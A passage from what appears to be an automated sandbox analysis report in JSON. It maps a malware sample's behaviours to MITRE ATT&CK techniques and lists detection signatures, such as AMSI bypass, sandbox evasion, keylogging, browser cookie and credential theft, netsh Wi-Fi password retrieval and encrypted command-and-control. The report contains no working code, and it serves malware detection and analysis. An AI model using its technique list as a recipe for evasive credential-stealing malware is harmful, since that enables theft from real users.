Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Web Session Cookie","attack_id":"T1550.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1550/004","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to unregister scheduled task using PowerShell command"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Hidden Files and Directories","attack_id":"T1564.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/001","identifiers":[{"type":"malicious","value":"Attempts to change the attributes of the files"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Able to retrieve file and directory information"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API used to retrieve geographical location information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"References Video COM interface string"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Wi-Fi Discovery","attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve instances of WMI objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Able to compress file/directory using PowerShell cmdlet"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Able to send HTTP/HTTPS requests"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Imports crypto-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$27","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"system.io.compression\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp, 00000000-00005376.00000001.215842.4B0C0000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00005376.00000001.215842.4B0B0000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00005376.00000001.215842.4B0C0000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00005376.00000001.215842.4B0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister scheduled task using PowerShell command","description":"file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-982","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007296)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007296)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007296)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007296)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1691120697345', 'hResInfo': '1691120698592'}\" (UID: 00000000-00007296)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1691120697345', 'hResInfo': '1691120698624'}\" (UID: 00000000-00007296)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1691120697345', 'hResInfo': '1691120698640'}\" (UID: 00000000-00007296)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1691120697345', 'hResInfo': '1691120698608'}\" (UID: 00000000-00007296)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 